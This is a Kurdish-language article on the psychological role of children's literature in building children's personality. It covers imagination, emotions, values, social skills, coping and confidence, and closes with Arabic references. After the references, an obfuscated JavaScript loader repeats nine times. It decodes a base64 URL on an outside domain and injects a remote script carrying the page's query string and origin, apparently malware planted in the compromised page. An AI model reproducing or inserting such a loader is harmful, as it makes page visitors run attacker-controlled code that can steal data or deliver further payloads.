رۆلێ ئەدەبێ زارۆكان د ئاڤاكرنا كەسایەتیێ دا
سندس صالح
ئەدەبێ زارۆكان نە تنێ ئامرازەكە بۆ دەمبۆراندنێ وچێژوەرگرتنێ، بەلكو ئامرازەكێ ب هێزە، كارتێكرنێن دەروونی یێن كویر و دۆمدرێژ لسەر گەشەكرن و پێشڤەچوونا زارۆكان دكەت. ئەم دشێین ئالیێ دەروونی یێ ئەدەبێ زارۆكان ل سەر چەند ئالیێن سەرەكی دابەش بكەین:
١. پەرەپێدانا خەیال و داهێنانێ:
ئەدەبێ زارۆكان هاندانێ ددەتە خەال و داهێنانێ، كو هاریكاریا زارۆكان دكەت بۆ پەرەپێدانا شیانێن چارەسەركرنا پرسگرێكان و هزركرنا رەخنەیی. چیڕۆكێن خەیالی هاریكاریا زارۆكان دكەن كو جیهانێن نوی بینن بەر چاڤێن خوە و سەرپێهاتیێن جودا تاقی بكەن، كو شیانا وان بۆ هزركرنێ ب شێوەیەكێ نەرم ب هێز دكەت.
٢. دەربڕینا هەستان و تێگەهشتنا خۆدی:
چیڕۆكێن كو باسێ هەستێن جودا دكەن وەكی هەستێن: ترس، خەم و دلشادیێ هاریكاریا زارۆكان دكەن كو هەستێن خوە بناسن و تێبگەهن، ب رێیا شوینكەفتنا ئەزموونێن كەسایەتیان، زارۆك دشێن هەست ب پەیوەندی و هەڤسۆزیێ بكەن، كو هاریكاریا وان دكەت ب شێوەیەكێ باشتر هەستێن خۆ دەرببڕین.
٣. فێركرنا بها و رەوشتان:
چیڕۆك ئامرازەكا كاریگەرە بۆ فێركرنا بها و رەوشتان، ئەو ژی ب رێیا كەسایەتی و روودانێن تایبەت، زارۆك دشێن فێری گرنگیا راستگۆی، جوانمێری، و دادپەروەریێ ببن، كو كارتێكرنێ لسەر رەفتار و تێكەلبوونا وان دگەل كەسێن دی دكەت.
٤. ب هێزكرنا شیانێن پەیوەندیێن جڤاكی:
ئەدەبێ زارۆكان هاریكاریا زارۆكان دكەت كو تێگەهشتنێ ژ داینامیكیێن جڤاكی و پەیوەندیێن دناڤبەرا خەلكی دا وەربگرن. چیڕۆكێن كو پەیوەندیێن دناڤبەرا كەسایەتیان و هەلویستێن جڤاكی یێن جودا نیشان ددەن، نموونەیان پێشكێشی زارۆكان دكەن بۆ كارلێككرن و پەیوەندیێن جڤاكی، كو شیانا وان بۆ كارلێككرنا ئەرێنی دگەل كەسێن دی بهێز دكەت.
٥. سەرەدەریكرن دگەل چالاكی و فشاران:
ب رێیا شوینكەفتنا كەسایەتیێن كو رووبەرووی چالاكیان دبن و سەر دكەڤن، زارۆك دشێن فێر ببن كا چاوا سەرەدەریێ دگەل پرسگرێك و فشارێن د ژیانا خوە دا بكەن. چیرۆك نموونەیێن هزركرنێن ئەرێنی و گونجاندنێ دگەل ئاستەنگان پێشكێش دكەن.
٦. ئاڤاكرنا باوەریبخوەبوونێ:
چیڕۆكێن قارەمانەتی و ئازایەتیێ باوەریا زارۆكان ب وان و شیانێن وان بهێز دكەن. دەمێ زارۆك دبینن كەسایەتی سەر زەحمەتیان دكەڤن و سەركەفتنێ بدەست دئینن، دشێن هەست ب ئیلهامێ بكەن كو هەمان پرەنسیپان د ژیانا خوە یا كەسایەتی دا بكار بینن.
ئەدەبێ زارۆكان رۆلەكێ گرنگ د نەخشكرنا گەلەك لایەنێن گەشەكرنا وان یا دەروونی و هەستیاری دا دگێریت، و وەك ئامرازەكێ فێركرنێ یێ بهێز دهێتە هژمارتن كو هاریكاریێ د پەرەپێدانا كەسایەتیا وان ب شێوەیەكێ ئەرێنی دكەت.
مفا ژ ڤان پەرتووكان هاتیە وەرگرتن:
«أدب اڵاگفال ودوره فی بنا‌و الشخصیە المتكاملە» یا نڤیسەر سلیمان قوراری.
«البنا‌و النفسی والوجدانی للقائد الصغیر» یا نڤیسەر منال البارودی:
«سیكولوجیە أدب وتربیە اڵاگفال» یا نڤیسەر حنین فرید فاخوری.
«أدب اڵاگفال ..فلسفته.. أنواع وتدریسه» یا هەردو نڤیسەران: فایزە محمد ومحمود محمد.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
